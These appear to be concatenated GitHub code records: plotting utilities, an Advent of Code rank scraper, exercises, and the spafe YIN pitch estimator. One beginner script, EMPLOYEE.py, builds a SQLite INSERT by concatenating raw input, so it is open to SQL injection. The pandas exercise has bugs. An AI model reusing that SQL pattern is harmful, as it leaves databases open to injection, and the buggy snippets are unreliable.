caption)\n","repo_name":"shpotes/pmc-caption","sub_path":"src/download_manager.py","file_name":"download_manager.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3508583711","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division, absolute_import\n\n__author__           = \"Dilawar Singh\"\n__copyright__        = \"Copyright 2013, NCBS Bangalore\"\n__credits__          = [\"NCBS Bangalore\", \"Bhalla Lab\"]\n__license__          = \"GPL\"\n__version__          = \"1.0.0\"\n__maintainer__       = \"Dilawar Singh\"\n__email__            = \"dilawars@ncbs.res.in\"\n__status__           = \"Development\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport moose\nimport moose.print_utils as pu\nimport re\n\n# To support python 2.6. On Python3.6+, dictionaries are ordered by default.\n# This is here to fill this gap.\nfrom moose.OrderedDict import OrderedDict\n\ndef plotAscii(yvec, xvec = None, file=None):\n    \"\"\"Plot two list-like object in terminal using gnuplot.\n    If file is given then save data to file as well.\n    \"\"\"\n    if xvec is None:\n        plotInTerminal(yvec, list(range( len(yvec))), file=file)\n    else:\n        plotInTerminal(yvec, xvec, file=file)\n\ndef plotInTerminal(yvec, xvec = None, file=None):\n    '''\n    Plot given vectors in terminal using gnuplot.\n\n    If file is not None then write the data to a file.\n    '''\n    import subprocess\n    g = subprocess.Popen([\"gnuplot\"], stdin=subprocess.PIPE)\n    g.stdin.write(\"set term dumb 100 25\\n\")\n    g.stdin.write(\"plot '-' using 1:2 title '{}' with linespoints\\n\".format(file))\n    if file:\n        saveAsGnuplot(yvec, xvec, file=file)\n    for i,j in zip(xvec, yvec):\n        g.stdin.write(\"%f %f\\n\" % (i, j))\n    g.stdin.write(\"\\n\")\n    g.stdin.flush()\n\ndef xyToString( yvec, xvec, sepby = ' '):\n    \"\"\" Given two list-like objects, returns a text string.\n    \"\"\"\n    textLines = []\n    for y, x in zip( yvec, xvec ):\n        textLines.append(\"{}{}{}\".format(y, sepby, x))\n    return \"\\n\".join(textLines)\n\n\ndef saveNumpyVec( yvec, xvec, file):\n    \"\"\"save the numpy vectors to a data-file\n\n    \"\"\"\n    if file is None:\n        return\n    print((\"[INFO] Saving plot data to file {}\".format(file)))\n    textLines = xyToString( yvec, xvec)\n    with open(file, \"w\") as dataF:\n        dataF.write(textLines)\n\ndef saveAsGnuplot( yvec, xvec, file):\n    ''' Save the plot as stand-alone gnuplot script '''\n    if file is None:\n        return\n    print((\"[INFO] Saving plot data to a gnuplot-script: {}\".format(file)))\n    dataText = xyToString( yvec, xvec )\n    text = []\n    text.append(\"#!/bin/bash\")\n    text.append(\"gnuplot << EOF\")\n    text.append(\"set term post eps\")\n    text.append(\"set output \\\"{0}.eps\\\"\".format(file))\n    text.append(\"plot '-' using 0:1 title '{0}'\".format(file))\n    text.append(dataText)\n    text.append(\"EOF\")\n    with open(file+\".gnuplot\",\"w\") as gnuplotF:\n        gnuplotF.write(\"\\n\".join(text))\n\ndef scaleVector(vec, scaleF):\n    \"\"\" Scale a vector by a factor \"\"\"\n    if scaleF == 1.0 or scaleF is None:\n        return vec\n    else:\n        return [ x*scaleF for x in vec ]\n\ndef scaleAxis(xvec, yvec, scaleX, scaleY):\n    \"\"\" Multiply each elements by factor \"\"\"\n    xvec = scaleVector( xvec, scaleX )\n    yvec = scaleVector( yvec, scaleY )\n    return xvec, yvec\n\ndef reformatTable(table, kwargs):\n    \"\"\" Given a table return x and y vectors with proper scaling \"\"\"\n    clock = moose.Clock('/clock')\n    if type(table) == moose.Table:\n        vecY = table.vector\n        vecX = np.arange(0, clock.currentTime, len(vecY))\n    elif type(table) == tuple:\n        vecX, vecY = table\n    return (vecX, vecY)\n\ndef plotTable(table, **kwargs):\n    \"\"\"Plot a given table. It plots table.vector\n\n    This function can scale the x-axis. By default, y-axis and x-axis scaling is\n    done by a factor of 1.\n\n    Pass 'xscale' and/or 'yscale' argument to function to modify scales.\n\n    \"\"\"\n    if not type(table) == moose.Table:\n        msg = \"Expected moose.Table, got {}\".format( type(table) )\n        raise TypeError(msg)\n\n    vecX, vecY = reformatTable(table, kwargs)\n    plt.plot(vecX, vecY, label = kwargs.get('label', \"\"))\n    # This may not be available on older version of matplotlib.\n    try:\n        plt.legend(loc='best', framealpha=0.4)\n    except:\n        plt.legend(loc='best')\n\ndef plotTables(tables, outfile=None, **kwargs):\n    \"\"\"Plot a list of tables onto one figure only.\n    \"\"\"\n    assert type(tables) == dict, \"Expected a dict of moose.Table\"\n    plt.figure(figsize=(10, 1.5*len(tables)))\n    subplot = kwargs.get('subplot', True)\n    for i, tname in enumerate(tables):\n        if subplot:\n            plt.subplot(len(tables), 1, i+1)\n        yvec = tables[tname].vector\n        xvec = np.linspace(0, moose.Clock('/clock').currentTime, len(yvec))\n        plt.plot(xvec, yvec, label=tname)\n\n        # This may not be available on older version of matplotlib.\n        try:\n            plt.legend(loc='best', framealpha=0.4)\n        except:\n            plt.legend(loc = 'best')\n\n    plt.tight_layout()\n    if outfile:\n        pu.dump(\"PLOT\", \"Saving plots to file {}\".format(outfile))\n        try:\n            plt.savefig(outfile, transparent=True)\n        except Exception as e:\n            pu.dump(\"WARN\"\n                    , \"Failed to save figure, plotting onto a window\"\n                    )\n            plt.show()\n    else:\n        plt.show()\n\ndef plotVector(vec, xvec = None, **options):\n    \"\"\"plotVector: Plot a given vector. On x-axis, plot the time.\n\n    :param vec: Given vector.\n    :param **kwargs: Optional to pass to maplotlib.\n    \"\"\"\n\n    assert type(vec) == np.ndarray, \"Expected type %s\" % type(vec)\n    legend = options.get('legend', True)\n\n    if xvec is None:\n        clock = moose.Clock('/clock')\n        xx = np.linspace(0, clock.currentTime, len(vec))\n    else:\n        xx = xvec[:]\n\n    assert len(xx) == len(vec), \"Expecting %s got %s\" % (len(vec), len(xvec))\n\n    plt.plot(xx, vec, label=options.get('label', ''))\n    if legend:\n        # This may not be available on older version of matplotlib.\n        try:\n            plt.legend(loc='best', framealpha=0.4)\n        except:\n            plt.legend(loc='best')\n\n    if xvec is None:\n        plt.xlabel('Time (sec)')\n    else:\n        plt.xlabel(options.get('xlabel', ''))\n\n    plt.ylabel = options.get('ylabel', '')\n    plt.title(options.get('title', ''))\n\n    if(options.get('legend', True)):\n        try:\n            plt.legend(loc='best', framealpha=0.4, prop={'size' : 9})\n        except:\n            plt.legend(loc='best', prop={'size' : 9})\n\n\ndef saveRecords(records, xvec = None, **kwargs):\n    \"\"\"saveRecords\n    Given a dictionary of data with (key, numpy array) pair, it saves them to a\n    file 'outfile'\n\n    :param outfile\n    :param dataDict:\n    :param **kwargs:\n        comment: Adds comments below the header.\n    \"\"\"\n    if len(records) == 0:\n        pu.warn(\"No data in dictionary to save.\")\n        return False\n\n    outfile = kwargs.get('outfile', 'data.moose')\n    clock = moose.Clock('/clock')\n    assert clock.currentTime > 0\n    yvecs = [ ]\n    text = \"time,\" + \",\".join([ str(x) for x in records ])\n    for k in records:\n        try:\n            yvec = records[k].vector\n        except AttributeError as e:\n            yevc = records[k]\n        yvecs.append(yvec)\n    xvec = np.linspace(0, clock.currentTime, len(yvecs[0]))\n    yvecs = [ xvec ] + yvecs\n    if kwargs.get('comment', ''):\n        text += (\"\\n\"  + kwargs['comment'] )\n    np.savetxt(outfile, np.array(yvecs).T, delimiter=',' , header = text)\n    pu.info(\"Done writing data to %s\" % outfile)\n\ndef plotRecords(records, xvec = None, **kwargs):\n    \"\"\"Wrapper\n    \"\"\"\n    dataDict = OrderedDict( )\n    try:\n        for k in sorted(records.keys(), key=str.lower):\n            dataDict[k] = records[k]\n    except Exception as e:\n        dataDict = records\n\n    legend = kwargs.get('legend', True)\n    outfile = kwargs.get('outfile', None)\n    subplot = kwargs.get('subplot', False)\n    filters = [ x.lower() for x in kwargs.get('filter', [])]\n\n    plt.figure(figsize=(10, 1.5*len(dataDict)))\n    #plt.rcParams.update( { 'font-size' : 10 } )\n    for i, k in enumerate(dataDict):\n        pu.info(\"+ Plotting for %s\" % k)\n        plotThis = False\n        if not filters: plotThis = True\n        for accept in filters:\n            if accept in k.lower():\n                plotThis = True\n                break\n\n        if plotThis:\n            if not subplot:\n                yvec = dataDict[k].vector\n                plotVector(yvec, xvec, label=k, **kwargs)\n            else:\n                plt.subplot(len(dataDict), 1, i+1)\n                yvec = dataDict[k].vector\n                plotVector(yvec, xvec, label=k, **kwargs)\n\n    # title in Image.\n    if 'title' in kwargs:\n        plt.title(kwargs['title'])\n\n    if subplot:\n        try:\n            plt.tight_layout()\n        except: pass\n\n    if outfile:\n        pu.info(\"Writing plot to %s\" % outfile)\n        plt.savefig(\"%s\" % outfile, transparent=True)\n    else:\n        plt.show()\n    plt.close( )\n\n\ndef plotTablesByRegex( regex = '.*', **kwargs ):\n    \"\"\"plotTables Plot all moose.Table/moose.Table2 matching given regex. By\n    default plot all tables. Table names must be unique. Table name are used as\n    legend.\n\n    :param regex: Python regular expression to be matched.\n    :param **kwargs:\n        - subplot = True/False; if True, each Table is plotted in a subplot.\n        - outfile = filepath; If given, plot will be saved to this path.\n    \"\"\"\n\n    tables = moose.wildcardFind( '/##[TYPE=Table]' )\n    tables += moose.wildcardFind( '/##[TYPE=Table2]' )\n    toPlot = OrderedDict( )\n    for t in sorted(tables, key = lambda x: x.name):\n        if re.search( regex, t.name ):\n            toPlot[ t.name ] = t\n    return plotRecords( toPlot, None, **kwargs )\n","repo_name":"BhallaLab/moose","sub_path":"moose-core/python/moose/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":9624,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"}
+{"seq_id":"30868059921","text":"\"\"\" ranking.py -- Advent of Code 2020\n\n    Author: Chris Bowman\n    Last Modified: 12/10/2020\n    License: MIT\n\n    Prints rank information for all days of AoC 2020 to console\n\"\"\"\n\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\nimport solutions.config as config\n\n\ndef daily_total():\n    \"\"\"\n    Scrape the total correct submissions for each day from AoC website\n    :return: dict with key of str(day) and value (int(total submissions)\n    \"\"\"\n    url = 'https://adventofcode.com/2020/stats'\n    r = requests.get(url).text\n    soup = BeautifulSoup(r, features='html.parser')\n    a = re.findall(r'(\\d{1,2}) +(\\d+) +\\d+ +\\*+', soup.text)\n    day_totals = {}\n    for item in a:\n        try:\n            the_day, total = int(item[0]), int(item[1])\n            day_totals[the_day] = int(total)\n        except ValueError as ve:\n            print(ve)\n            print(soup)\n            exit()\n\n    return day_totals\n\n\ndef personal_scores():\n    \"\"\"\n    Scrape personal submission rankings for each day from AoC website\n    :return: dict of day(str): tuple(part1 rank, part2 rank)\n    \"\"\"\n    url = 'https://adventofcode.com/2020/leaderboard/self'\n    r = requests.get(url, cookies=config.COOKIES).text\n    soup = BeautifulSoup(r, features='html.parser')\n    personal_stats = soup.find('pre').text\n    my_scores = {int(d.split()[0]): (d.split()[2], d.split()[5]) for d in personal_stats.splitlines()[2:]}\n    return my_scores\n\n\ndef main():\n    everyone = daily_total()\n    try:\n        mine = personal_scores()\n        for day in sorted(mine):\n            part_1, part_2 = mine[day]\n            both_all = everyone[day]\n            if day == 1:\n                print(\"*Day 1 didn't count, don't get excited*\")\n            print(f'On day {day} you placed {part_1}th and {part_2}th of {both_all}')\n            if part_1.isdigit():\n                print(f'\\tPart1: top {round(int(part_1) / int(both_all) * 100, 2)}%')\n            else:\n                print('\\tPart1: not completed')\n            if part_2.isdigit():\n                print(f'\\tPart2: top {round(int(part_2) / int(both_all) * 100, 2)}%')\n            else:\n                print('\\tPart2: not completed')\n\n    except NameError:\n        print('Make sure a \"config.py\" file is in this directory.  It needs')\n        print('to have a variable COOKIES = {\"session\": YOUR_SESSION_ID}\\n')\n        print('You can find this in Chrome Devtools:')\n        print('\\tReload a problem page (like https://adventofcode.com/2020/day/9)')\n        print('\\tNetwork -> PROBLEM_NUMBER -> Cookies -> Value')\n        print('\\tIt will be a salted b64 or hex')\n        exit()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"stereoabuse/Advent-of-Code-2020","sub_path":"ranking.py","file_name":"ranking.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72085276882","text":"# https://codeforces.com/problemset/problem/141/A\ndef check_freq(word):\n    freq = {}\n    for ch in set(word):\n        freq[ch] = word.count(ch)\n    return freq\n\n\nchx_name = input()\nhost = input()\nmixed = input()\nres = chx_name + host\nprint(\"YES\" if check_freq(res) == check_freq(mixed) else \"NO\")\n","repo_name":"bugraaldal/Codeforces","sub_path":"141A - Amusing Joke.py","file_name":"141A - Amusing Joke.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21150531920","text":"import sqlite3\n\nconnection = sqlite3.connect(\"company.db\")\n\n#connection.execute('''  CREATE TABLE EMPLOYEE(\n#                 EMPLOYEECODE INTEGER PRIMARY KEY AUTOINCREMENT,\n#                 EMPLOYEENAME TEXT,\n#                 DESIGNATION TEXT,\n#                 SALARY INTEGER,\n#                 COMPANYNAME TEXT,\n#                 MOBILENO INTEGER\n# );    ''')\n\n\nprint(\"TABLE CREATED SUCCESFULLY\")\n\ngetEmployeeCode = input(\"Enter EmployeeCode : \")\ngetEmployeeName = input(\"Enter EmployeeName : \")\ngetDesignation = input(\"Enter Designation : \")\ngetSalary = input(\"Enter Salary : \")\ngetCompanyName = input(\"Enter CompanyName : \")\ngetMobileNo = input(\"Enter MobileNo : \")\nconnection.execute(\"INSERT INTO EMPLOYEE(EMPLOYEECODE,EMPLOYEENAME,DESIGNATION,SALARY,COMPANYNAME,MOBILENO) \\\n VALUES(\"+getEmployeeCode+\",'\"+getEmployeeName+\"','\"+getDesignation+\"',\"+getSalary+\",'\"+getCompanyName+\"',\"+getMobileNo+\")\")\nconnection.commit()\nconnection.close()\nprint(\"DATA BASE INSERTED SUCCESFULLY\")\n\n","repo_name":"shanmugam2000/database","sub_path":"EMPLOYEE.py","file_name":"EMPLOYEE.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36458660019","text":"import pandas as pd # importing pandas as pd\nimport numpy  as np # importing numpy as np\n\nnums = [1, 2, 3, 4,5]\ns = pd.Series(nums)\nprint(s)\n\nnums = [1, 2, 3, 4, 5]\ns = pd.Series(nums, index=[1, 2, 3, 4, 5])\nprint(s)\n\nfruits = ['Orange','Banana','Mango']\nfruits = pd.Series(fruits, index=[1, 2, 3])\nprint(fruits)\n\n\ndct = {'name':'Manish','country':'India','city':'Motihari'}\ns = pd.Series(dct)\nprint(s)\n\ns = pd.Series(10, index = [1, 2, 3])\nprint(s)\n\ns = pd.Series(np.linspace(5, 20, 10)) # linspace(starting, end, items)\nprint(s)\n\ndata = [\n    ['Manish', 'India', 'Motihari'], \n    ['David', 'UK', 'London'],\n    ['John', 'Sweden', 'Stockholm']\n]\ndf = pd.DataFrame(data, columns=['Names','Country','City'])\nprint(df)\n\n\ndata = {'Name': ['Manish', 'David', 'John'], 'Country':[\n    'India', 'UK', 'Sweden'], 'City': ['Motihari', 'London', 'Stockholm']}\ndf = pd.DataFrame(data)\nprint(df)\n\n\ndata = [\n    {'Name': 'Manish', 'Country': 'India', 'City': 'Motihari'},\n    {'Name': 'David', 'Country': 'UK', 'City': 'London'},\n    {'Name': 'John', 'Country': 'Sweden', 'City': 'Stockholm'}]\ndf = pd.DataFrame(data)\nprint(df)\n\n# import pandas as pd\n\n# df = pd.read_csv('weight-height.csv')\n# print(df)\n\n#print(df.head()) # give five rows we can increase the number of rows by passing argument to the head() method\n\n#print(df.tail()) # tails give the last five rows, we can increase the rows by passing argument to tail method\n\n#print(df.shape) # as you can see 10000 rows and three columns\n\n#print(df.columns) #Index(['Gender', 'Height', 'Weight'], dtype='object')\n\n#The describe() method provides a descriptive statistical values of a dataset.\n#print(heights.describe()) # give statisical information about height data\n\n\ndata = [\n    {\"Name\": \"Manish\", \"Country\":\"India\",\"City\":\"Motihari\"},\n    {\"Name\": \"David\", \"Country\":\"UK\",\"City\":\"London\"},\n    {\"Name\": \"John\", \"Country\":\"Sweden\",\"City\":\"Stockholm\"}]\ndf = pd.DataFrame(data)\nprint(df)\n\nweights = [74, 78, 69]\ndf['Weight'] = weights\nprint(df)\n\nheights = [173, 175, 169]\ndf['Height'] = heights\nprint(df)\n\n\n# Using functions makes our code clean, but you can calculate the bmi without one\ndef calculate_bmi ():\n    weights = df['Weight']\n    heights = df['Height']\n    bmi = []\n    for w,h in zip(weights, heights):\n        b = w/(h*h)\n        bmi.append(b)\n    return bmi\n    \nbmi = calculate_bmi()\n\ndf['BMI'] = bmi\nprint(df)\n\ndf['BMI'] = round(df['BMI'], 1)\nprint(df)\n\nbirth_year = ['1769', '1985', '1990']\ncurrent_year = pd.Series(2020, index=[0, 1,2])\ndf['Birth Year'] = birth_year\ndf['Current Year'] = current_year\nprint(df)\n\nprint(df[df['Ages'] > 120])\n\nprint(df[df['Ages'] < 120])","repo_name":"manishhansal/Python_course","sub_path":"Day25/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26894556005","text":"#Exercício 81: Crie um programa que vai ler vários números e colocar em uma lista. Depois disso, mostre:\n# A) Quantos números foram digitados.\n# B) A lista de valores, ordenada de forma decrescente.\n# C) Se o valor 5 foi digitado e está ou não na lista.\nnumeros = []\ncontador = 0\nwhile True:\n    valor = int(input(\"Digite um valor: \"))\n    numeros.append(valor)\n    contador += 1\n    continuar = str(input(\"Deseja continuar? [S/N] \")).upper()\n    while continuar not in \"SsNn\":\n        print(\"-\" * 30)\n        continuar = str(input(\"Não entendi! Deseja continuar? [S/N] \")).strip().upper()[0]\n        print(\"-\" * 30)\n    if continuar == 'N':\n        print(\"-\" * 30)\n        print(\"Programa encerrado!\")\n        print(\"-\" * 30)\n        break\nlista = sorted(numeros, reverse=True)\nprint(f\"Foram digitados {contador} valores na lista.\")\nprint(f'Os números digitados em ordem descrescente são: {lista})')\nif 5 in numeros:\n    print(\"O número 5 está na lista.\")\nelse:\n    print(\"O número 5 não está na lista.\")\n\n","repo_name":"giolangella/ExerciciosPython","sub_path":"ex000 a 106/ex081.py","file_name":"ex081.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39103984662","text":"from typing import Tuple\n\nimport numpy as np\nfrom scipy import signal\n\n\ndef compute_difference(x: np.ndarray, tau_max: int) -> np.ndarray:\n    \"\"\"\n    Compute difference function of data x according to [Guyot]_ [DeCheveigné]_ and [Box]_ .\n    This essentially corresponds to equations (6) and (7) in [DeCheveigné]_\n\n    Args:\n        x  (numpy.ndarray) : audio array data.\n        tau_max    (int)   : integration window size.\n\n    Returns:\n        (numpy.ndarray) : difference function resulting array.\n\n    Note:\n        .. math::\n\n            d_{t}(\\\\tau) = \\\\sum_{j=1}^{W}(x_{j} - x_{j+\\\\tau})^{2}\n\n            d_{t}(\\\\tau) = r_{t}(0) + r_{t+\\\\tau}(0) - 2 r_{t}(\\\\tau)\n\n        where :math:`d_{t}(\\\\tau)` is the difference function, :math:`r_{t}(\\\\tau)` is the autocorrelation.\n\n\n        - This function use an accellerated convolution function fftconvolve from\n          the Scipy package to compute the autocorrelation for faster processing.\n\n        - While the brute force algorithm time complexity is O(n**2), the Wiener–Khinchin\n          theorem allows computing the autocorrelation with two Fast Fourier transforms (FFT), with time complexity O(n log(n)).\n\n        - The steps for computing the autocorrelation according the Wiener–Khinchin theorem are as follows:\n            .. math::\n\n                F_{R}(f) = FFT[X(t)]\n\n                S(f) = F_{R}(f) + F^{*}_{R}(f)\n\n                R(\\\\tau) = IFFT[S(f)]\n\n            where IFFT is the inverse fast Fourier transform and the asterisk denotes complex conjugate.\n\n\n    References:\n        .. [Box] : Box, G. E. P., Jenkins, G. M., Reinsel, G. C. (1994).\n                   Time Series Analysis: Forecasting and Control (3rd ed.).\n                   Upper Saddle River, NJ: Prentice–Hall. ISBN 978-0130607744.\n    \"\"\"\n    x = np.array(x, np.float64)\n    w = x.size\n\n    # compute cummulative sum and autocorrelation using fft\n    x_cum_sum = np.concatenate((np.array([0]), (x * x).cumsum()))\n    conv = signal.fftconvolve(x, x[::-1])\n\n    # compute dt(tau) according to (6) and (7) in [DeCheveigné]\n    rt_tau_0 = x_cum_sum[w] - x_cum_sum[:w]\n    rt_0 = x_cum_sum[w:0:-1]\n    rt = conv[w - 1 :]\n    tmp = rt_0 + rt_tau_0 - 2 * rt\n    return tmp[:tau_max]\n\n\ndef compute_cmnd(d_t: np.ndarray, tau: int) -> np.ndarray:\n    \"\"\"\n    Apply Cumulative Mean Normalized Difference Function (CMNDF) as in [Guyot]_ [DeCheveigné]_.\n    This corresponds to equation (8) in [DeCheveigné]_.\n\n    Args:\n        d_t  (numpy.ndarray) : Difference function array.\n        tau           (int)  : length of data.\n\n    Returns:\n        (numpy.ndarray) : cumulative mean normalized difference\n\n    Note:\n\n        .. math::\n\n            d^{\\\\prime}_{t}(\\\\tau)=\\\\left\\\\{\\\\begin{array}{l}\n            1, & \\\\text{if } \\\\tau = 0 \\\\\\\\\n            \\\\frac{d_{t}(\\\\tau)}{\\\\frac{1}{\\\\tau} \\\\sum_{j=1}^{\\\\tau} d_{t}(j)}, & \\\\text{otherwise } \\\\end{array}\\\\right.\n    \"\"\"\n    d_prime_t = d_t[1:] * range(1, tau) / np.cumsum(d_t[1:]).astype(float)\n    return np.insert(d_prime_t, 0, 1)\n\n\ndef get_pitch(\n    cmdf: np.ndarray, tau_min: int, tau_max: int, harmonic_threshold: float = 0.1\n) -> float:\n    \"\"\"\n    Return fundamental period of a frame based on CMND function as implemented in\n    [Guyot]_ [DeCheveigné]_.\n\n    Args:\n        cmdf       (numpy.ndarray) : cumulative mean normalized difference\n        tau_min              (int) : minimum period for speech.\n        tau_max              (int) : maximum period for speech.\n        harmonic_threshold (float) : harmonicity threshold to determine if it is\n                                     necessary to compute pitch frequency.\n                                     (Default is 0.1).\n\n    Returns:\n        (float) : fundamental period if there is values under threshold, 0 otherwise\n    \"\"\"\n    tau = tau_min\n    while tau < tau_max:\n        if cmdf[tau] < harmonic_threshold:\n            while tau + 1 < tau_max and cmdf[tau + 1] < cmdf[tau]:\n                tau += 1\n            return tau\n        tau += 1\n\n    return 0  # if unvoiced\n\n\ndef compute_yin(\n    sig: np.ndarray,\n    fs: int,\n    win_len: float = 0.03,\n    win_hop: float = 0.015,\n    low_freq: float = 50,\n    high_freq: float = 3000,\n    harmonic_threshold: float = 0.1,\n) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]:\n    \"\"\"\n    Compute the fundamental frequency and harmonic rate according to the the Yin\n    Algorithm [Guyot]_ [DeCheveigné]_.\n\n    Args:\n        sig        (numpy.ndarray) : audio signal (list of float)\n        fs                   (int) : sampling rate (= average number of samples pro 1 second)\n        win_len            (float) : size of the analysis window (in seconds)\n                                     (Default is 0.03).\n        win_hop            (float) : size of the lag between two consecutives windows (in seconds)\n                                     (Default is 0.015).\n        low_freq           (float) : Minimum fundamental frequency that can be detected (in Hertz)\n                                     (Default is 50).\n        high_freq          (float) : Maximum fundamental frequency that can be detected (in Hertz)\n                                     (Default is 3000).\n        harmonic_threshold (float) : Threshold of detection. The yalgorithmù return the\n                                     first minimum of the CMND fubction below this threshold.\n                                     (Default is 0.1).\n\n    Returns:\n        (tuple) : tuple include the following\n                      - pitches        (numpy.array) : list of fundamental frequencies.\n                      - harmonic_rates (numpy.array) : list of harmonic rate values for each fundamental\n                                                       frequency value (= confidence value).\n                      - argmins        (numpy.array) : minimums of the Cumulative Mean Normalized DifferenceFunction.\n                      - times          (numpy.array) : list of time of each estimation.\n\n    References:\n        .. [DeCheveigné] : De Cheveigné, A., & Kawahara, H. (2002). YIN,\n                           a fundamental frequency estimator for speech and music.\n                           The Journal of the Acoustical Society of America, 111(4), 1917-1930.\n        .. [Guyot] : Guyot, P. (2018, April 19). Fast Python implementation of\n                     the Yin algorithm (Version v1.1.1). Zenodo. http://doi.org/10.5281/zenodo.1220947\n\n    Examples:\n        .. plot::\n\n            from scipy.io.wavfile import read\n            from spafe.frequencies.fundamental_frequencies import compute_yin\n\n\n            # read audio\n            fpath = \"../../../tests/data/test.wav\"\n            fs, sig = read(fpath)\n            duration = len(sig) / fs\n            harmonic_threshold = 0.85\n\n            pitches, harmonic_rates, argmins, times = compute_yin(sig,\n                                                                  fs,\n                                                                  win_len=0.050,\n                                                                  win_hop=0.025,\n                                                                  low_freq=50,\n                                                                  high_freq=1000,\n                                                                  harmonic_threshold=harmonic_threshold)\n\n            # xaxis helper function\n            gen_xaxis_times = lambda v, dt : [float(x) * dt / len(v) for x in range(0, len(v))]\n\n\n            plt.figure(figsize=(14, 12))\n            plt.subplots_adjust(left=0.125, right=0.9, bottom=0.125, top=0.9, wspace=0.2, hspace=0.99)\n\n            # plot audio data\n            ax1 = plt.subplot(4, 1, 1)\n            ax1.plot(gen_xaxis_times(sig, duration), sig)\n            ax1.set_title(\"Audio data\")\n            ax1.set_ylabel(\"Amplitude\")\n            ax1.set_xlabel(\"Time (seconds)\")\n            plt.grid()\n\n            # plot F0\n            ax2 = plt.subplot(4, 1, 2)\n            ax2.plot(gen_xaxis_times(pitches, duration), pitches)\n            ax2.set_title(\"Fundamental frequencies: F0\")\n            ax2.set_ylabel(\"Frequency (Hz)\")\n            ax2.set_xlabel(\"Time (seconds)\")\n            plt.grid()\n\n            # plot Harmonic rate\n            ax3 = plt.subplot(4, 1, 3, sharex=ax2)\n            ax3.plot(gen_xaxis_times(harmonic_rates, duration), harmonic_rates, \":o\")\n            ax3.plot(gen_xaxis_times(harmonic_rates, duration), [harmonic_threshold] * len(harmonic_rates), \"r:\")\n            ax3.set_title(\"Harmonic rate\")\n            ax3.set_ylabel(\"Rate\")\n            ax3.set_xlabel(\"Time (seconds)\")\n            plt.grid()\n\n            # plot Index of minimums of CMND\n            ax4 = plt.subplot(4, 1, 4, sharex=ax2)\n            ax4.plot(gen_xaxis_times(argmins, duration), argmins, \":x\")\n            ax4.set_title(\"Index of minimums of CMND\")\n            ax4.set_ylabel(\"Frequency (Hz)\")\n            ax4.set_xlabel(\"Time (seconds)\")\n            plt.grid()\n            plt.show()\n    \"\"\"\n    # Init tau min and max and window length and hol in samples bins\n    tau_min, tau_max = int(fs / high_freq), int(fs / low_freq)\n    w_len = int(win_len * fs)\n    w_step = int(win_hop * fs)\n\n    # time values for each analysis window\n    time_scale = range(0, len(sig) - w_len, w_step)\n    len_time_scale = len(time_scale)\n    times = np.array([t / fs for t in time_scale])\n    frames = [sig[t : t + w_len] for t in time_scale]\n\n    pitches = np.zeros(len_time_scale)\n    harmonic_rates = np.zeros(len_time_scale)\n    argmins = np.zeros(len_time_scale)\n\n    for i, frame in enumerate(frames):\n        # Compute YIN\n        df = compute_difference(frame, tau_max)\n        cmdf = compute_cmnd(df, tau_max)\n        p = get_pitch(cmdf, tau_min, tau_max, harmonic_threshold)\n\n        # Get results\n        if np.argmin(cmdf) > tau_min:\n            argmins[i] = float(fs / np.argmin(cmdf))\n\n        #  A pitch was found\n        if p != 0:\n            pitches[i] = float(fs / p)\n            harmonic_rates[i] = cmdf[p]\n\n        #  No pitch, but we compute a value of the harmonic rate\n        else:\n            harmonic_rates[i] = min(cmdf)\n\n    return pitches, harmonic_rates, argmins, times\n","repo_name":"SuperKogito/spafe","sub_path":"spafe/frequencies/fundamental_frequencies.py","file_name":"fundamental_frequencies.py","file_ext":"py","file_size_in_byte":10195,"program_lang":"python","lang":"en","doc_type":"code","stars":402,"dataset":"github-code","pt":"3"}
+{"seq_id":"73976589840","text":"#This is the quality module, it prodives a method for computing the accuracy of a user or projected roster for a given team in a given week.  It is called and stored from within the aggregation module\n\ndef get_lineup_accuracy(lineup, optimal_lineup):\n    lineup_set = set()\n    o_lineup_set = set()\n    for position in lineup: \n        lineup_set |= set(lineup[position])\n        o_lineup_set |= set(optimal_lineup[position])\n    N = float(len(lineup_set & o_lineup_set))\n    D = float(len(o_lineup_set))\n    return (N, D)\n    \n    \n    ","repo_name":"jdrodman/crowdff","sub_path":"src/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29046265567","text":"# coding=utf-8\n\nimport datetime\nimport pytest\nfrom balance import balance_steps as steps\nfrom btestlib.data.defaults import Date\nfrom temp.igogor.balance_objects import Contexts\nfrom btestlib.constants import (Services, Products, Paysyses, ContractPaymentType, ContractCreditType,\n                                ContractCommissionType)\nfrom btestlib import utils as utils\nfrom balance import snout_steps\n\nto_iso = utils.Date.date_to_iso_format\nNOW = datetime.datetime.now()\nHALF_YEAR_AFTER_NOW_ISO = to_iso(NOW + datetime.timedelta(days=180))\nHALF_YEAR_BEFORE_NOW_ISO = to_iso(NOW - datetime.timedelta(days=180))\n\nDIRECT = Contexts.DIRECT_MONEY_RUB_CONTEXT.new(paysys=Paysyses.BANK_UR_RUB)\nGEO = DIRECT.new(service=Services.GEO, product=Products.GEO)\nMEDIA_70 = DIRECT.new(service=Services.MEDIA_70, product=Products.MEDIA)\nMETRICA = DIRECT.new(service=Services.METRICA, product=Products.METRICA)\n\n@pytest.mark.parametrize('context', [\n    DIRECT\n])\ndef test_debts(context):\n    client_id = 